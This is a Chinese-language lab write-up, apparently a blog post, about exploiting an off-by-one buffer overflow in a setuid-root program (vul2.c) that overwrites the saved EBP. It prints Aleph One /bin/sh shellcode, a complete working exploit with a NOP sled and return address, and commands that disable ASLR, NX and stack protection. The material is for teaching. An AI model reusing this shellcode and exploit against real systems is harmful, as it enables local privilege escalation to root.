【2】 缓冲区溢出 一个字节溢出 覆盖EBP

最近在做缓冲区溢出实验,总共有6个

shellcode.h

shellcode的作用是运行一个/bin/sh

/*
 * Aleph One shellcode.45个字节
 */
static const char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

源代码vul2.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void nstrcpy(char *out, int outl, char *in)
{
  int i, len;

  len = strlen(in);//获取输入字符串的长度,默认为输入参数的长度
  //若输入的字符串比要求拷贝的字符串长度大,则按照形参来
  if (len > outl)
    len = outl;
  for (i = 0; i <= len; i++)
  //按位拷贝,因为i可以等于len,则可能造成溢出1个字节的结果
    out[i] = in[i];
}

void bar(char *arg)
//通过nstrcpy,拷贝arg到buf,拷贝的大小为buf的大小
//可通过buf的溢出来覆盖返回地址
{
  char buf[200];
  nstrcpy(buf, sizeof buf, arg);
}

void foo(char *argv[])//调用bar,最终溢出改变的是foo函数运行时的ebp
{
  bar(argv[1]);
}

int main(int argc, char *argv[])
{
  if (argc != 2)//保证输入的参数个数为1
    {
      fprintf(stderr, "target2: argc != 2\n");
      exit(EXIT_FAILURE);
    }
  setuid(0);//设置UID为0
  foo(argv);//执行foo函数
  return 0;
}

攻击代码

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/mnt/hgfs/sourcecode/proj1/vulnerables/vul2"

int main(void)
{//"\x07\xff\xff\xbf"  "\x7c\xfc\xff\xbf"
  //每行16个字节,中间有45个字节为shellcode,最后一个为溢出的\x00
  //结构共201个字节
  //35字节NOP+45字节shellcode+56字节NOP+4个字节返回地址+60字节NOP+1个字节'\x00'
  char payload[201];
  memset(payload,'\x90',35);
  memcpy(payload+35,shellcode,45);//shellcode
  memset(payload+80,'\x90',56);
  memcpy(payload+136,"\x7c\xfc\xff\xbf",4);//返回地址
  memset(payload+140,'\x90',60);
  payload[200] = '\x00';
  char *args[] = { TARGET, payload , NULL};//定义运行参数
  char *env[] = { NULL };

  execve(TARGET, args, env);
  fprintf(stderr, "execve failed.\n");

  return 0;
}

简单原理说明

缓冲区溢出通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。
造成缓冲区溢出的主要原因是程序中没有仔细检查用户输入的参数是否合法。

环境声明

LINUX 32位系统
本任务所以实验均在关闭ASLR、NX等保护机制的情况下进行:

  1. 关闭地址随机化功能:
    echo 0 > /proc/sys/kernel/randomize_va_space2.
  2. gcc编译器默认开启了NX选项,如果需要关闭NX(DEP)选项,可以给gcc编译器添加-z execstack参数。
    gcc -z execstack -o test test.c
  3. 在编译时可以控制是否开启栈保护以及程度,
    gcc -fno-stack-protector -o test test.c //禁用栈保护
    gcc -fstack-protector -o test test.c //启用堆栈保护,不过只为局部变量中含有char数组的函数插入保护代码
    gcc -fstack-protector-all -o test test.c //启用堆栈保护,为所有函数插入保护代码

实验过程

  1. 确定溢出目标:在vul2.c中,有三个函数,一个是foo函数,它将输入参数传入并调用了bar函数,而bar函数则申请了200个字节的buf字符串数组。
    此时,由vul1.c的实践可知,如果使得buf溢出,可以覆盖返回地址与foo函数的EBP。
    而bar函数之后调用了nstrcpy函数,此函数表面上以buf的大小为参数拷贝字符串,但是由于其在执行for循环时,参数i可以等于len,从而导致有一个字节的溢出
    在这里插入图片描述
    而这个字节可以影响到foo函数的ebp的最低位字节:
    在这里插入图片描述
  2. 构造payload:
    A. 首先,我们通过GDB调试vul2.c编译出的程序,可以发现,原来foo函数的EBP为0xbffffd50:
    在这里插入图片描述
    而buf的首地址为0xbffffc7c,其范围为0xbffffc7c-0xbffffd44大小为200个字节:
    在这里插入图片描述
    由上信息易知,如果改变ebp的最后一位,可以使得ebp出现在buf中间,且离buf的边界越远越好.
    B. 第二步,我们构造201个字节的字符串组,使得第201个字节为\x00,这样可以使得EBP溢出之后结果为0xbffffd00,距离buf尾部(0xbffffd44)68个字节(0x44=68)。
    在这里插入图片描述
    改变之后,foo函数的ebp位置在buf之间:
    在这里插入图片描述
    C. 第三步,我们当前知道ebp处于buf尾部68个字节处,那么按照栈的对方规则,不难知道返回地址应该位于距离buf尾部60个字节处,即在尾部60个字节处(0xbffffd04-0xbffffd08)写入返回地址(buf的地址:0xbffffc7c),而shellcode随机放入payload之中即可。
    D. 最后,我们的payload构造如下:
    结构共201个字节
    组成: 35字节NOP+45字节shellcode+56字节NOP+4个字节返回地址+60字节NOP+1个字节’\x00’
    在这里插入图片描述
  3. 编译之后,运行结果见下图:
    在这里插入图片描述

可见,成功执行了shellcode,溢出执行成功。

总结

本实验是由于nstrcpy()函数而产生的,尽管它表面上对copy的长度进行了限制,但是它不小心在for循环中使形参可以等于输入长度len,这就造成存在溢出一个字节的可能性,而该字节恰好可以覆盖到buf所在函数的(foo函数)所保存的旧的ebp的最低位,从而使得该ebp出现在buf之间,最终在指定位置构造返回地址即成功达到溢出目的

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值